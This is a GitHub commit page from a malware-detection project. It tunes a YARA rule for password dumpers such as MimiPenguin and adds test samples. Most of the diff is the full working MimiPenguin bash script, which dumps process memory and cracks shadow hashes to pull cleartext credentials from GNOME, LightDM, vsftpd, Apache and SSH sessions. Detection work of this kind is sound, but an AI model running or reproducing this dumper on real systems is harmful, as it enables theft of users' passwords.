Skip to content

Commit

Permalink
Tweak password_finder_mimipenguin rule (#303)
Browse files Browse the repository at this point in the history
* Tweak password_finder_mimipenguin rule

Signed-off-by: egibs <[email protected]>

* Move Finder to extra strings

Signed-off-by: egibs <[email protected]>

* Remove overlapping strings related to #304

Signed-off-by: egibs <[email protected]>

* Update rules/combo/stealer/password.yara

Signed-off-by: Evan Gibler <[email protected]>

* Add mimipenguin samples

Signed-off-by: egibs <[email protected]>

* Fix simple results

Signed-off-by: egibs <[email protected]>

* Tweak rule now that we have samples

Signed-off-by: egibs <[email protected]>

* Fix tests

Signed-off-by: egibs <[email protected]>

---------

Signed-off-by: egibs <[email protected]>
Signed-off-by: Evan Gibler <[email protected]>
Co-authored-by: Thomas Strömberg <[email protected]>
  • Loading branch information
egibs and tstromberg authored Jul 1, 2024
1 parent 00154bf commit c3f573d
Show file tree
Hide file tree
Showing 7 changed files with 613 additions and 10 deletions.
22 changes: 12 additions & 10 deletions rules/combo/stealer/password.yara
Original file line number Diff line number Diff line change
@@ -1,19 +1,21 @@

rule password_finder_mimipenguin : critical {
meta:
description = "Password finder/dumper, such as MimiPenguin"
hash_2024_dumpcreds_mimipenguin = "79b478d9453cb18d2baf4387b65dc01b6a4f66a620fa6348fa8dbb8549a04a20"
hash_2024_dumpcreds_mimipenguin = "3acfe74cd2567e9cc60cb09bc4d0497b81161075510dd75ef8363f72c49e1789"
hash_2024_enumeration_linpeas = "210cbe49df69a83462a7451ee46e591c755cfbbef320174dc0ff3f633597b092"
strings:
$lightdm = "lightdm" fullword
$apache2 = "apache2.conf" fullword
$vsftpd = "vsftpd" fullword
$shadow = "/etc/shadow"
$gnome = "gnome-keyring-daemon"
$password = "password"
$finder = "Finder"
$sshd_config = "sshd_config" fullword
$base_lightdm = "lightdm" fullword
$base_apache2 = "apache2.conf" fullword
$base_vsftpd = "vsftpd" fullword
$base_shadow = "/etc/shadow"
$base_gnome = "gnome-keyring-daemon"
$base_sshd_config = "sshd_config" fullword
$extra_finder = /\bFinder\b/
$extra_password = /\b[Pp]assword\b/
$extra_password2 = /.[^\s]{0,32}-password/
$ignore_basic_auth_example = /\w{0,32}\:[Pp]assword/
condition:
5 of them
2 of ($base_*) and (any of ($extra_*) and none of ($ignore_*))
}
276 changes: 276 additions & 0 deletions samples/Linux/mimipenguin/bash/mimipenguin
Original file line number Diff line number Diff line change
@@ -0,0 +1,276 @@
#!/bin/bash

# Author: Hunter Gregal
# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
# Dumps cleartext credentials from memory

#root check
if [[ "$EUID" -ne 0 ]]; then
echo "Root required - You are dumping memory..."
echo "Even mimikatz requires administrator"
exit 1
fi

#Store results to cleanup later
export RESULTS=""

# check if a command exists in $PATH
command_exists () {

command -v "${1}" >/dev/null 2>&1
}

# check for required executables in $PATH
if ! command_exists strings; then
echo "Error: command 'strings' not found in ${PATH}"
exit 1
fi
if ! command_exists grep; then
echo "Error: command 'grep' not found in ${PATH}"
exit 1
fi

# Check for any of the currently tested versions of Python
if command_exists python2; then
pycmd=python2
elif command_exists python2.7; then
pycmd=python2.7
elif command_exists python3; then
pycmd=python3
elif command_exists python3.6; then
pycmd=python3.6
elif command_exists python3.7; then
pycmd=python3.7
else
echo "Error: No supported version of 'python' found in ${PATH}"
exit 1
fi

# $1 = PID, $2 = output_file, $3 = operating system
function dump_pid () {

system=$3
pid=$1
output_file=$2
if [[ $system == "kali" ]]; then
mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1)
else
mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1)
fi
while read -r memrange; do
memrange_start=$(echo "$memrange" | cut -d"-" -f 1)
memrange_start=$(printf "%u\n" 0x"$memrange_start")
memrange_stop=$(echo "$memrange" | cut -d"-" -f 2)
memrange_stop=$(printf "%u\n" 0x"$memrange_stop")
memrange_size=$((memrange_stop - memrange_start))
dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \
skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1
done <<< "$mem_maps"
}



# $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
function parse_pass () {

#If hash not in dump get shadow hashes
if [[ ! "$2" ]]; then
SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')"
fi

#Determine password potential for each word
while read -r line; do
#If hash in dump, prepare crypt line
if [[ "$2" ]]; then
#get ctype
CTYPE="$(echo "$2" | cut -c-3)"
#Escape quotes, backslashes, single quotes to pass into crypt
SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
CRYPT="\"$SAFE\", \"$CTYPE$3\""
if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$2" ]]; then
#Find which user's password it is (useful if used more than once!)
USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)"
export RESULTS="$RESULTS$4 $USER:$line \n"
fi
#Else use shadow hashes
elif [[ $SHADOWHASHES ]]; then
while read -r thishash; do
CTYPE="$(echo "$thishash" | cut -c-3)"
SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)"
#Escape quotes, backslashes, single quotes to pass into crypt
SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\""
if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$thishash" ]]; then
#Find which user's password it is (useful if used more than once!)
USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)"
export RESULTS="$RESULTS$4 $USER:$line\n"
fi
done <<< "$SHADOWHASHES"
#if no hash data - revert to checking probability
else
patterns=("^_pammodutil.+[0-9]$"\
"^LOGNAME="\
"UTF-8"\
"^splayManager[0-9]$"\
"^gkr_system_authtok$"\
"[0-9]{1,4}:[0-9]{1,4}:"\
"Manager\.Worker"\
"/usr/share"\
"/bin"\
"\.so\.[0-1]$"\
"x86_64"\
"(aoao)"\
"stuv")
export RESULTS="$RESULTS[HIGH]$4 $line\n"
for pattern in "${patterns[@]}"; do
if [[ $line =~ $pattern ]]; then
export RESULTS="$RESULTS[LOW]$4 $line\n"
fi
done
fi
done <<< "$1"
} # end parse_pass


#Support Kali
if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then
SOURCE="[SYSTEM - GNOME]"
#get gdm-session-worker [pam/gdm-password] process
PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')"
#if exists aka someone logged into gnome then extract...
if [[ $PID ]];then
while read -r pid; do
dump_pid "$pid" /tmp/dump "kali"
HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
SALT="$(echo "$HASH" | cut -d'$' -f 3)"
DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)"
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"

#cleanup
rm -rf "/tmp/dump.${pid}"
done <<< "$PID"
fi
fi

#Support gnome-keyring
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then

SOURCE="[SYSTEM - GNOME]"
#get /usr/bin/gnome-keyring-daemon process
PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')"

#if exists aka someone logged into gnome then extract...
if [[ $PID ]];then
while read -r pid; do
dump_pid "$pid" /tmp/dump
HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
SALT="$(echo "$HASH" | cut -d'$' -f 3)"
DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10)
DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$')
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
#cleanup
rm -rf "/tmp/dump.${pid}"
done <<< "$PID"
fi
fi

#Support LightDM
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then
SOURCE="[SYSTEM - LIGHTDM]"
PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session\-child/p' | awk -F ' ' '{ print $1 }')"

#if exists aka someone logged into lightdm then extract...
if [[ $PID ]]; then
while read -r pid; do
dump_pid "$pid" /tmp/dump
HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')
SALT="$(echo "$HASH" | cut -d'$' -f 3)"
DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)"
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
#cleanup
rm -rf "/tmp/dump.${pid}"
done <<< "$PID"
fi
fi

#Support VSFTPd - Active Users
if [[ -e "/etc/vsftpd.conf" ]]; then
SOURCE="[SYSTEM - VSFTPD]"
#get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')"
#if exists aka someone logged into FTP then extract...
if [[ $PID ]];then
while read -r pid; do
dump_pid "$pid" /tmp/vsftpd
HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
SALT="$(echo "$HASH" | cut -d'$' -f 3)"
DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$')
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
done <<< "$PID"

#cleanup
rm -rf /tmp/vsftpd*
fi
fi

#Support Apache2 - HTTP BASIC AUTH
if [[ -e "/etc/apache2/apache2.conf" ]]; then
SOURCE="[HTTP BASIC - APACHE2]"
#get all apache workers /usr/sbin/apache2 -k start
PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
#if exists aka apache2 running
if [[ "$PID" ]];then
#Dump all workers
while read -r pid; do
gcore -o /tmp/apache "$pid" > /dev/null 2>&1
#without gcore - VERY SLOW!
#dump_pid $pid /tmp/apache
done <<< "$PID"
#Get encoded creds
DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
#for each extracted b64 - decode the cleartext
while read -r encoded; do
CREDS="$(echo "$encoded" | base64 -d)"
if [[ "$CREDS" ]]; then
export RESULTS="$RESULTS$SOURCE $CREDS\n"
fi
done <<< "$DUMP"
#cleanup
rm -rf /tmp/apache*
fi
fi

#Support sshd - Search active connections for Sudo passwords
if [[ -e "/etc/ssh/sshd_config" ]]; then
SOURCE="[SYSTEM - SSH]"
#get all ssh tty/pts sessions - sshd: user@pts01
PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
#if exists aka someone logged into SSH then dump
if [[ "$PID" ]];then
while read -r pid; do
dump_pid "$pid" /tmp/sshd
HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
SALT="$(echo "$HASH" | cut -d'$' -f 3)"
DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+')
#Remove dupes to speed up processing
DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
done <<< "$PID"
#cleanup
rm -rf /tmp/sshd.*
fi
fi

#Output results to STDOUT
printf "MimiPenguin Results:\n"
printf "%b" "$RESULTS" | sort -u
unset RESULTS
23 changes: 23 additions & 0 deletions samples/Linux/mimipenguin/bash/mimipenguin.simple
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# Linux/mimipenguin/bash/mimipenguin
3P/signature_base/mimipenguin
3P/signature_base/mimipenguin/sh
combo/stealer/password
encoding/base64
evasion/base64/eval
evasion/base64/external/decoder
exec/shell_command
fs/file/delete
fs/file/delete/forcibly
kernel/platform
ref/daemon
ref/path/etc
ref/path/tmp
ref/path/usr/bin
ref/path/usr/sbin
ref/program/gnome/keyring/daemon
ref/program/sshd
ref/program/sudo
ref/words/password
secrets/shadow
shell/exec
shell/ignore_output
Binary file added samples/Linux/mimipenguin/c/mimipenguin
Binary file not shown.
13 changes: 13 additions & 0 deletions samples/Linux/mimipenguin/c/mimipenguin.simple
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Linux/mimipenguin/c/mimipenguin
3P/threat_hunting/crossc2
3P/threat_hunting/mimipenguin
combo/stealer/password
procfs/arbitrary/pid
procfs/pid/cmdline
procfs/pid/maps
ref/path/etc
ref/program/gnome/keyring/daemon
ref/program/sshd
ref/program/sudo
ref/words/password
secrets/shadow
Loading

0 comments on commit c3f573d

Please sign in to comment.